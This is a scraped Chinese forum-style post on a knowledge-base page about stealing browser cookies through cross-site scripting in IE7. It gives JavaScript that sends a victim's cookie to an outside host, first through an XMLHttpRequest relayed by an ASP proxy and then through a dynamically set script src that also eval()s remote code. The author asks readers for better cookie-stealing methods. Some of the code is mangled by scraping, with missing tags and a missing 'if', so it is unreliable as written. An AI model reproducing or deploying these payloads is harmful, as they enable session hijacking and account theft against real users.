主页 > 知识库 > ie7下利用ajax跨域盗取cookie的解决办法

ie7下利用ajax跨域盗取cookie的解决办法

热门标签:银行业务 科大讯飞语音识别系统 阿里云 Mysql连接数设置 Linux服务器 团购网站 服务器配置 电子围栏
研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
script> 
function getXmlHttpRequest(){ 
       if(window.ActiveXObject){ 
            var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                 
            for(var i=0;iieArr.length;i++) 
                { 
                var xmlhttp= new ActiveXObject(ieArr[i]); 
                } 
                return xmlhttp; 
       } else if(window.XMLHttpRequest){ 
               return new XMLHttpRequest(); 
            }             

    var xmlHttp=getXmlHttpRequest(); 
    xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); 
    xmlHttp.send(null) 

/script> 

其中web.asp是一个asp代理。 

这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。 

另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码: 

script LANGUAGE="Javascript" src="" id="get">  
/script>  
script LANGUAGE="Javascript">  
!--  
function get(url)  
    {  
        var obj = document.getElementById("get");  
        obj.src = url;  
        (obj.readStatus == 200)  
        {  
            eval(alert("ok"));  
        }  
    }  
get("http://jb51.net/2.asp?cookie=12345678") 

/*function query()  
    {  
get("http://jb51.net/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123" 
    }  
//-->  
*/ 

/script> 

至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论 
您可能感兴趣的文章:
  • 二级域名或跨域共享Cookies的实现方法
  • P3P 和 跨域 (cross-domain) cookie 访问(读取和设置)
  • asp.net Cookie跨域、虚拟目录等设置方法
  • asp.net(C#)跨域及跨域写Cookie问题
  • P3P Header解决Cookie跨域的问题
  • 关于Iframe如何跨域访问Cookie和Session的解决方法
  • php跨域cookie共享使用方法
  • JavaScript cookie 跨域访问之广告推广

标签:大理 萍乡 衢州 广元 蚌埠 江苏 衡水 枣庄

巨人网络通讯声明:本文标题《ie7下利用ajax跨域盗取cookie的解决办法》,本文关键词  ;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 收缩
    • 微信客服
    • 微信二维码
    • 电话咨询

    • 400-1100-266